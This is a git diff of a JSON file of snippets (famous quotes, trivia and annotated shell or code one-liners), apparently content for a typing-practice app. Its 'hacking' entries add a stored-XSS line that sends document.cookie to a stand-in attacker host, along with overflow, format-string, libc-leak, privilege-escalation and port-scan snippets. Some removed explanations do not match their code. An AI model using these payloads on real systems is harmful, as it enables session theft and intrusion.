+    "content": "There is grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one.",
+    "attribution": "Charles Darwin, On the Origin of Species"
   },
   {
-    "category": "technology",
-    "content": "Security is a process, not a product.",
-    "attribution": "Bruce Schneier"
+    "category": "quotes",
+    "content": "To be great is to be misunderstood.",
+    "attribution": "Ralph Waldo Emerson, Self-Reliance"
   },
   {
-    "category": "hacking",
-    "content": "curl -sI https://target/login | grep -i 'set-cookie' | grep -ci 'httponly.*secure'",
-    "attribution": "Web",
+    "category": "shell",
+    "content": "comm -13 <(sort old.txt) <(sort new.txt)",
+    "attribution": "Pipelines",
     "language": "shell",
-    "explanation": "Checks whether a session cookie carries the flags that stop JavaScript reading it and stop it crossing sites."
+    "explanation": "comm compares two sorted files by column: -13 shows only lines unique to the second, which is the set that was added."
   },
   {
-    "category": "quotes",
-    "content": "If I have seen further, it is by standing on the shoulders of giants.",
-    "attribution": "Isaac Newton"
+    "category": "business",
+    "content": "Every moment in business happens only once. The next Bill Gates will not build an operating system.",
+    "attribution": "Peter Thiel, Zero to One"
   },
   {
-    "category": "movies",
-    "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
-    "attribution": "Forrest Gump (1994)"
+    "category": "business",
+    "content": "The real price of everything is the toil and trouble of acquiring it.",
+    "attribution": "Adam Smith, The Wealth of Nations"
   },
   {
-    "category": "science",
-    "content": "The most incomprehensible thing about the world is that it is comprehensible.",
-    "attribution": "Albert Einstein"
+    "category": "movies",
+    "content": "Louis, I think this is the beginning of a beautiful friendship.",
+    "attribution": "Casablanca (1942)"
   },
   {
-    "category": "literature",
-    "content": "It was the best of times, it was the worst of times.",
-    "attribution": "Charles Dickens, A Tale of Two Cities"
+    "category": "nature",
+    "content": "Nature is not a place to visit. It is home.",
+    "attribution": "Gary Snyder"
   },
   {
-    "category": "philosophy",
-    "content": "I think, therefore I am.",
-    "attribution": "Rene Descartes, Discourse on the Method"
+    "category": "hacking",
+    "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))",
+    "attribution": "Web",
+    "language": "javascript",
+    "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it."
   },
   {
-    "category": "quotes",
-    "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
-    "attribution": "Theodore Roosevelt, Citizenship in a Republic"
+    "category": "history",
+    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in liberty.",
+    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
   },
   {
-    "category": "general",
-    "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built."
+    "category": "sysadmin",
+    "content": "ssh -N -L 5432:127.0.0.1:5432 dbhost",
+    "attribution": "SSH",
+    "language": "shell",
+    "explanation": "Forwards a remote port to the local machine, so a service bound to localhost on the server is reachable here."
   },
   {
-    "category": "programming",
-    "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
+    "category": "nature",
+    "content": "Tell me, what is it you plan to do with your one wild and precious life?",
+    "attribution": "Mary Oliver"
   },
   {
     "category": "hacking",
-    "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)",
+    "content": "libc.address = leak - libc.symbols['puts']",
     "attribution": "Exploit dev",
     "language": "python",
-    "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address."
+    "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated."
   },
   {
-    "category": "sysadmin",
-    "content": "lsof +L1 2>/dev/null | awk '$7 > 100000000 {print $1, $7, $NF}'",
-    "attribution": "Disk",
-    "language": "shell",
-    "explanation": "Finds space held by deleted files that a process still has open. Deleting the file does not free the space until the handle closes."
+    "category": "movies",
+    "content": "Toto, I've a feeling we're not in Kansas anymore.",
+    "attribution": "The Wizard of Oz (1939)"
   },
   {
-    "category": "business",
-    "content": "In God we trust; all others must bring data.",
-    "attribution": "W. Edwards Deming"
+    "category": "programming",
+    "content": "try: value = int(raw) except ValueError: value = 0",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
   },
   {
-    "category": "general",
-    "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth."
+    "category": "literature",
+    "content": "All we have to decide is what to do with the time that is given us.",
+    "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
   },
   {
-    "category": "anime",
-    "content": "A heart's a heavy burden.",
-    "attribution": "Howl's Moving Castle"
+    "category": "technology",
+    "content": "A distributed system is one in which the failure of a computer you didn't know existed can render your own computer unusable.",
+    "attribution": "Leslie Lamport"
   },
   {
-    "category": "anime",
-    "content": "Hard work is worthless for those that don't believe in themselves.",
-    "attribution": "Naruto"
+    "category": "history",
+    "content": "Power concedes nothing without a demand. It never did and it never will.",
+    "attribution": "Frederick Douglass, 1857"
   },
   {
-    "category": "programming",
-    "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
+    "category": "shell",
+    "content": "awk '!seen[$0]++' file.txt",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "Deduplicate without sorting, preserving original order. The array records what has been seen; !seen[$0]++ is true only the first time."
   },
   {
-    "category": "technology",
-    "content": "There is no code faster than no code.",
-    "attribution": "Kevlin Henney"
+    "category": "philosophy",
+    "content": "It's not what happens to you, but how you react to it that matters.",
+    "attribution": "Epictetus"
   },
   {
-    "category": "history",
-    "content": "I have a dream that my four little children will one day live in a nation where they will not be judged by the colour of their skin.",
-    "attribution": "Martin Luther King Jr., 1963"
+    "category": "movies",
+    "content": "There's no crying in baseball.",
+    "attribution": "A League of Their Own (1992)"
   },
   {
-    "category": "general",
-    "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools."
+    "category": "shell",
+    "content": "awk '$9 == 404 {print $7}' access.log | sort | uniq -c | sort -rn",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "A pattern before the block acts as a filter: only lines whose 9th field is 404 are printed. No grep needed."
   },
   {
-    "category": "literature",
-    "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
-    "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
+    "category": "nature",
+    "content": "There are some who can live without wild things, and some who cannot.",
+    "attribution": "Aldo Leopold, A Sand County Almanac"
   },
   {
-    "category": "technology",
-    "content": "We are stuck with technology when what we really want is just stuff that works.",
-    "attribution": "Douglas Adams"
+    "category": "programming",
+    "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
+    "attribution": "Go",
+    "language": "clike",
+    "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
   },
   {
-    "category": "quotes",
-    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
-    "attribution": "Abraham Lincoln, The Gettysburg Address"
+    "category": "business",
+    "content": "It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest.",
+    "attribution": "Adam Smith, The Wealth of Nations"
   },
   {
-    "category": "sysadmin",
-    "content": "tcpdump -ni any 'tcp[tcpflags] & tcp-syn != 0' -c 20",
-    "attribution": "Network",
-    "language": "shell",
-    "explanation": "Captures the start of connections only. -n skips DNS lookups, which otherwise generate the traffic you are trying to read."
+    "category": "literature",
+    "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
+    "attribution": "Emily Bronte, Wuthering Heights"
   },
   {
-    "category": "general",
-    "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later."
+    "category": "hacking",
+    "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24",
+    "attribution": "Recon",
+    "language": "shell",
+    "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list."
   },
   {
-    "category": "general",
-    "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size."
+    "category": "technology",
+    "content": "Technology is neither good nor bad; nor is it neutral.",
+    "attribution": "Melvin Kranzberg"
   },
   {
-    "category": "quotes",
-    "content": "It always seems impossible until it's done.",
-    "attribution": "Nelson Mandela"
+    "category": "movies",
+    "content": "You either die a hero, or you live long enough to see yourself become the villain.",
+    "attribution": "The Dark Knight (2008)"
   },
   {
-    "category": "nature",
-    "content": "In wildness is the preservation of the world.",
-    "attribution": "Henry David Thoreau, Walking"
+    "category": "literature",
+    "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
+    "attribution": "Mark Twain, Adventures of Huckleberry Finn"
   },
   {
-    "category": "sysadmin",
-    "content": "journalctl -u nginx -n 50 --no-pager -p err",
-    "attribution": "systemd",
+    "category": "shell",
+    "content": "awk '{bytes[$1] += $10} END {for (ip in bytes) print bytes[ip], ip}' access.log | sort -rn | head",
+    "attribution": "awk",
     "language": "shell",
-    "explanation": "Why a unit failed, without paging through the whole journal. -u scopes to the unit, -n limits the lines, --no-pager keeps it in the pipeline."
+    "explanation": "Associative arrays are awk's real power. This sums bytes per IP in one pass, then END prints the totals once input is exhausted."
   },
   {
-    "category": "history",
-    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in liberty.",
-    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
+    "category": "science",
+    "content": "Extraordinary claims require extraordinary evidence.",
+    "attribution": "Carl Sagan, The Demon-Haunted World"
   },
   {
-    "category": "shell",
-    "content": "sed -e 's/#.*//' -e '/^[[:space:]]*$/d' /etc/ssh/sshd_config",
-    "attribution": "sed",
-    "language": "shell",
-    "explanation": "Deletes comments and blank lines, which is how you read a config that is mostly documentation."
+    "category": "science",
+    "content": "Science and everyday life cannot and should not be separated.",
+    "attribution": "Rosalind Franklin"
   },
   {
-    "category": "science",
-    "content": "What you do makes a difference, and you have to decide what kind of difference you want to make.",
-    "attribution": "Jane Goodall"
+    "category": "anime",
+    "content": "A heart's a heavy burden.",
+    "attribution": "Howl's Moving Castle"
   },
   {
-    "category": "sysadmin",
-    "content": "systemd-analyze blame | head -15",
-    "attribution": "systemd",
-    "language": "shell",
-    "explanation": "Ranks services by how long they delayed boot. The usual answer to a slow start is one unit near the top."
+    "category": "nature",
+    "content": "The earth does not belong to us. We belong to the earth.",
+    "attribution": "Chief Seattle"
   },
   {
     "category": "philosophy",
@@ -1613,14 +1673,16 @@
     "attribution": "Marcus Aurelius, Meditations"
   },
   {
-    "category": "movies",
-    "content": "I'm gonna make him an offer he can't refuse.",
-    "attribution": "The Godfather (1972)"
+    "category": "history",
+    "content": "We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard.",
+    "attribution": "John F. Kennedy, 1962"
   },
   {
-    "category": "quotes",
-    "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
-    "attribution": "Confucius"
+    "category": "programming",
+    "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
   },
   {
     "category": "programming",
@@ -1630,324 +1692,267 @@
     "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
   },
   {
-    "category": "history",
-    "content": "I could work as much and eat as much as a man, when I could get it, and bear the lash as well. And ain't I a woman?",
-    "attribution": "Sojourner Truth, 1851"
+    "category": "anime",
+    "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
+    "attribution": "Fullmetal Alchemist"
   },
   {
-    "category": "programming",
-    "content": "const port = config.port ?? process.env.PORT ?? 8080;",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "?? falls back only on null or undefined, unlike ||, which also fires on 0 and the empty string."
+    "category": "general",
+    "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size."
   },
   {
-    "category": "nature",
-    "content": "Tell me, what is it you plan to do with your one wild and precious life?",
-    "attribution": "Mary Oliver"
+    "category": "quotes",
+    "content": "The best way out is always through, and the only way through is to begin where you are standing right now.",
+    "attribution": "Robert Frost"
   },
   {
-    "category": "hacking",
-    "content": "cur.execute('SELECT * FROM users WHERE name = %s AND active = %s', (name, True))",
-    "attribution": "Defence",
-    "language": "python",
-    "explanation": "Parameterised queries send the values separately from the statement, so nothing the user types can become SQL."
+    "category": "literature",
+    "content": "Not all those who wander are lost.",
+    "attribution": "J.R.R. Tolkien"
   },
   {
-    "category": "movies",
-    "content": "If you could see your whole life laid out in front of you, would you change things?",
-    "attribution": "Arrival (2016)"
+    "category": "technology",
+    "content": "You can't trust code that you did not totally create yourself.",
+    "attribution": "Ken Thompson, Reflections on Trusting Trust"
   },
   {
-    "category": "science",
-    "content": "In the fields of observation chance favours only the prepared mind.",
-    "attribution": "Louis Pasteur"
+    "category": "quotes",
+    "content": "Whatever you are, be a good one.",
+    "attribution": "Abraham Lincoln"
   },
   {
-    "category": "general",
-    "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north."
+    "category": "programming",
+    "content": "git reflog --date=iso | head -20",
+    "attribution": "Git",
+    "language": "shell",
+    "explanation": "Recovers commits that are no longer reachable from any branch. A hard reset does not destroy them; it just stops pointing at them."
   },
   {
-    "category": "shell",
-    "content": "make 2>&1 | tee build.log | grep -E 'error|warning'",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "tee writes to a file and passes the stream on, so you can log and keep processing in the same pipeline."
+    "category": "business",
+    "content": "The essence of strategy is choosing what not to do.",
+    "attribution": "Michael Porter"
   },
   {
-    "category": "shell",
-    "content": "tr -cs '[:alpha:]' '\\n' < book.txt | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn | head -20",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "The classic word-frequency pipeline: split to one word per line, fold case, sort so duplicates are adjacent, count runs, order by count."
+    "category": "business",
+    "content": "The purpose of business is to create and keep a customer.",
+    "attribution": "Peter Drucker"
   },
   {
-    "category": "shell",
-    "content": "diff <(sort a.txt) <(sort b.txt)",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "Process substitution gives two commands to diff as if they were files, without writing either to disk."
+    "category": "hacking",
+    "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */",
+    "attribution": "Memory safety",
+    "language": "clike",
+    "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it."
   },
   {
     "category": "business",
-    "content": "It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest.",
-    "attribution": "Adam Smith, The Wealth of Nations"
+    "content": "It takes twenty years to build a reputation and five minutes to ruin it.",
+    "attribution": "Warren Buffett"
   },
   {
-    "category": "business",
-    "content": "If you are not embarrassed by the first version of your product, you have launched too late.",
-    "attribution": "Reid Hoffman"
+    "category": "general",
+    "content": "The quick brown fox jumps over the lazy dog."
   },
   {
-    "category": "nature",
-    "content": "Nature is not a place to visit. It is home.",
-    "attribution": "Gary Snyder"
+    "category": "technology",
+    "content": "Talk is cheap. Show me the code.",
+    "attribution": "Linus Torvalds"
   },
   {
-    "category": "quotes",
-    "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
-    "attribution": "Frederick Douglass"
+    "category": "sysadmin",
+    "content": "tar czf - /var/www | ssh backup 'cat > www-$(date +%F).tar.gz'",
+    "attribution": "Backup",
+    "language": "shell",
+    "explanation": "Streams a directory to another host without a temporary archive on either side."
   },
   {
-    "category": "programming",
-    "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
-    "attribution": "Go",
-    "language": "clike",
-    "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
+    "category": "anime",
+    "content": "Don't believe in yourself. Believe in me who believes in you.",
+    "attribution": "Gurren Lagann"
   },
   {
     "category": "shell",
-    "content": "grep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log | sort -u | wc -l",
-    "attribution": "Text processing",
+    "content": "ls *.png | xargs -P4 -I{} convert {} -resize 50% small/{}",
+    "attribution": "Pipelines",
     "language": "shell",
-    "explanation": "grep -o prints only the match, one per line, which turns a search into a stream you can count."
+    "explanation": "Runs a command per input line in parallel. -P4 keeps four running at once, and -I{} places each name where the braces are."
   },
   {
     "category": "business",
-    "content": "Price is what you pay. Value is what you get.",
-    "attribution": "Warren Buffett"
+    "content": "Disruptive technologies typically enable new markets to emerge, and they underperform established products in mainstream markets.",
+    "attribution": "Clayton Christensen, The Innovator's Dilemma"
   },
   {
-    "category": "programming",
-    "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
-    "attribution": "C",
-    "language": "clike",
-    "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
+    "category": "sysadmin",
+    "content": "systemd-analyze blame | head -15",
+    "attribution": "systemd",
+    "language": "shell",
+    "explanation": "Ranks services by how long they delayed boot. The usual answer to a slow start is one unit near the top."
   },
   {
     "category": "movies",
-    "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
-    "attribution": "The Usual Suspects (1995)"
-  },
-  {
-    "category": "quotes",
-    "content": "To be great is to be misunderstood.",
-    "attribution": "Ralph Waldo Emerson, Self-Reliance"
-  },
-  {
-    "category": "science",
-    "content": "The great tragedy of science: the slaying of a beautiful hypothesis by an ugly fact.",
-    "attribution": "Thomas Huxley"
-  },
-  {
-    "category": "hacking",
-    "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24",
-    "attribution": "Recon",
-    "language": "shell",
-    "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list."
+    "content": "With great power comes great responsibility.",
+    "attribution": "Spider-Man (2002)"
   },
   {
-    "category": "technology",
-    "content": "A ship in port is safe, but that's not what ships are built for.",
-    "attribution": "Grace Hopper"
+    "category": "programming",
+    "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
+    "attribution": "C",
+    "language": "clike",
+    "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
   },
   {
-    "category": "technology",
-    "content": "We have modified our environment so radically that we must now modify ourselves to exist in this new environment.",
-    "attribution": "Norbert Wiener"
+    "category": "literature",
+    "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
+    "attribution": "Jack London, The Call of the Wild"
   },
   {
     "category": "hacking",
-    "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force",
-    "attribution": "Crypto",
-    "language": "shell",
-    "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years."
+    "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')",
+    "attribution": "Defence",
+    "language": "python",
+    "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing."
   },
   {
     "category": "shell",
-    "content": "comm -13 <(sort old.txt) <(sort new.txt)",
-    "attribution": "Pipelines",
+    "content": "cut -f2 data.tsv | paste -sd, -",
+    "attribution": "Text processing",
     "language": "shell",
-    "explanation": "comm compares two sorted files by column: -13 shows only lines unique to the second, which is the set that was added."
+    "explanation": "paste joins lines side by side; -s -d joins them all into one line with the chosen separator."
   },
   {
     "category": "programming",
-    "content": "*counts.entry(word).or_insert(0) += 1;",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "entry().or_insert_with() looks the key up once. The obvious contains_key-then-insert hashes it twice."
+    "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
+    "attribution": "C",
+    "language": "clike",
+    "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
   },
   {
-    "category": "movies",
-    "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
-    "attribution": "Jurassic Park (1993)"
+    "category": "literature",
+    "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
+    "attribution": "Joseph Conrad, Heart of Darkness"
   },
   {
-    "category": "science",
-    "content": "There is grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one.",
-    "attribution": "Charles Darwin, On the Origin of Species"
+    "category": "nature",
+    "content": "The land is one great wild, untidy, luxuriant hothouse, made by nature for herself.",
+    "attribution": "Charles Darwin, The Voyage of the Beagle"
   },
   {
     "category": "business",
-    "content": "Disruptive technologies typically enable new markets to emerge, and they underperform established products in mainstream markets.",
-    "attribution": "Clayton Christensen, The Innovator's Dilemma"
-  },
-  {
-    "category": "literature",
-    "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
-    "attribution": "Charles Dickens, A Tale of Two Cities"
+    "content": "In God we trust; all others must bring data.",
+    "attribution": "W. Edwards Deming"
   },
   {
     "category": "shell",
-    "content": "for f in \"$@\"; do printf '%s\\n' \"${f%.*}\"; done",
-    "attribution": "Shell safety",
+    "content": "awk '{print $1, $NF}' access.log",
+    "attribution": "awk",
     "language": "shell",
-    "explanation": "Quoting \"$@\" preserves each argument exactly, including ones containing spaces. Unquoted $@ splits them apart."
-  },
-  {
-    "category": "business",
-    "content": "The real price of everything is the toil and trouble of acquiring it.",
-    "attribution": "Adam Smith, The Wealth of Nations"
-  },
-  {
-    "category": "literature",
-    "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
-    "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
-  },
-  {
-    "category": "literature",
-    "content": "All we have to decide is what to do with the time that is given us.",
-    "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
-  },
-  {
-    "category": "movies",
-    "content": "Toto, I've a feeling we're not in Kansas anymore.",
-    "attribution": "The Wizard of Oz (1939)"
+    "explanation": "awk splits each line into fields on whitespace. $1 is the first, $NF the last - so this prints the first and last column of every line."
   },
   {
-    "category": "nature",
-    "content": "In nature nothing exists alone.",
-    "attribution": "Rachel Carson, Silent Spring"
+    "category": "science",
+    "content": "The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.",
+    "attribution": "Stephen Hawking"
   },
   {
-    "category": "movies",
-    "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
-    "attribution": "The Matrix (1999)"
+    "category": "hacking",
+    "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'",
+    "attribution": "Post-exploitation",
+    "language": "shell",
+    "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root."
   },
   {
-    "category": "hacking",
-    "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */",
-    "attribution": "Memory safety",
-    "language": "clike",
-    "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object."
+    "category": "quotes",
+    "content": "If I have seen further, it is by standing on the shoulders of giants.",
+    "attribution": "Isaac Newton"
   },
   {
-    "category": "movies",
-    "content": "Oh, what a day. What a lovely day!",
-    "attribution": "Mad Max: Fury Road (2015)"
+    "category": "sysadmin",
+    "content": "tcpdump -ni any 'tcp[tcpflags] & tcp-syn != 0' -c 20",
+    "attribution": "Network",
+    "language": "shell",
+    "explanation": "Captures the start of connections only. -n skips DNS lookups, which otherwise generate the traffic you are trying to read."
   },
   {
     "category": "movies",
-    "content": "All those moments will be lost in time, like tears in rain. Time to die.",
-    "attribution": "Blade Runner (1982)"
+    "content": "If you build it, he will come.",
+    "attribution": "Field of Dreams (1989)"
   },
   {
     "category": "sysadmin",
-    "content": "ls -l /proc/$PID/fd | head && cat /proc/$PID/wchan",
-    "attribution": "Processes",
+    "content": "0 3 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1",
+    "attribution": "Scheduling",
     "language": "shell",
-    "explanation": "What a process is actually waiting on. Reading its file descriptors and stack says more than another look at top."
+    "explanation": "A cron entry that logs both streams. Without the redirect, cron mails the output to a mailbox nobody reads."
   },
   {
-    "category": "general",
-    "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat."
+    "category": "anime",
+    "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
+    "attribution": "Hunter x Hunter"
   },
   {
-    "category": "programming",
-    "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
+    "category": "literature",
+    "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
+    "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
   },
   {
     "category": "nature",
-    "content": "Wilderness is not a luxury but a necessity of the human spirit.",
-    "attribution": "Edward Abbey, Desert Solitaire"
+    "content": "In nature nothing exists alone.",
+    "attribution": "Rachel Carson, Silent Spring"
   },
   {
-    "category": "philosophy",
-    "content": "Every new beginning comes from some other beginning's end.",
-    "attribution": "Seneca, Letters from a Stoic"
+    "category": "shell",
+    "content": "find . -name '*.log' -print0 | xargs -0 grep -l 'ERROR'",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "xargs turns a stream of names into arguments. -0 with -print0 is what makes filenames containing spaces safe."
   },
   {
     "category": "movies",
-    "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
-    "attribution": "The Silence of the Lambs (1991)"
-  },
-  {
-    "category": "nature",
-    "content": "There are some who can live without wild things, and some who cannot.",
-    "attribution": "Aldo Leopold, A Sand County Almanac"
-  },
-  {
-    "category": "science",
-    "content": "A new scientific truth does not triumph by convincing its opponents, but rather because its opponents eventually die.",
-    "attribution": "Max Planck"
-  },
-  {
-    "category": "science",
-    "content": "The first principle is that you must not fool yourself, and you are the easiest person to fool.",
-    "attribution": "Richard Feynman"
+    "content": "If you could see your whole life laid out in front of you, would you change things?",
+    "attribution": "Arrival (2016)"
   },
   {
-    "category": "programming",
-    "content": "const [user, posts] = await Promise.all([getUser(id), getPosts(id)]);",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "Promise.all runs them concurrently and rejects on the first failure; allSettled waits for every result instead."
+    "category": "sysadmin",
+    "content": "awk -F: '$7 !~ /(nologin|false)$/ {print $1, $7}' /etc/passwd",
+    "attribution": "Users",
+    "language": "shell",
+    "explanation": "Accounts with a real login shell, which is the set that can actually sign in."
   },
   {
-    "category": "shell",
-    "content": "awk -F, 'NF != 3 {print NR\": \"$0}' data.csv",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "NR is the current line number, NF the field count. This finds malformed rows: any line that does not have exactly three fields."
+    "category": "technology",
+    "content": "Simplicity is prerequisite for reliability.",
+    "attribution": "Edsger Dijkstra"
   },
   {
     "category": "hacking",
-    "content": "find / -perm -4000 -type f 2>/dev/null",
-    "attribution": "Post-exploitation",
-    "language": "shell",
-    "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it."
+    "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */",
+    "attribution": "Memory safety",
+    "language": "clike",
+    "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger."
   },
   {
     "category": "anime",
-    "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
-    "attribution": "Hunter x Hunter"
+    "content": "Anywhere can be paradise as long as you have the will to live.",
+    "attribution": "Neon Genesis Evangelion"
   },
   {
-    "category": "anime",
-    "content": "Trees and people used to be good friends.",
-    "attribution": "My Neighbor Totoro"
+    "category": "programming",
+    "content": "EXPLAIN ANALYZE SELECT * FROM test_results WHERE mode_key = 'time-30' ORDER BY wpm DESC LIMIT 50;",
+    "attribution": "SQL",
+    "language": "clike",
+    "explanation": "EXPLAIN ANALYZE runs the query and reports what the planner actually did, not what it guessed it would do."
   },
   {
-    "category": "movies",
-    "content": "You either die a hero, or you live long enough to see yourself become the villain.",
-    "attribution": "The Dark Knight (2008)"
+    "category": "programming",
+    "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
   },
   {
-    "category": "technology",
-    "content": "The web as I envisaged it, we have not seen it yet. The future is still so much bigger than the past.",
-    "attribution": "Tim Berners-Lee"
+    "category": "science",
+    "content": "If I have seen further it is by standing on the shoulders of giants.",
+    "attribution": "Isaac Newton"
   }
 ]
\ No newline at end of file
diff --git a/web/src/devApiOrigin.js b/web/src/devApiOrigin.js
new file mode 100644
index 0000000..47da116
--- /dev/null
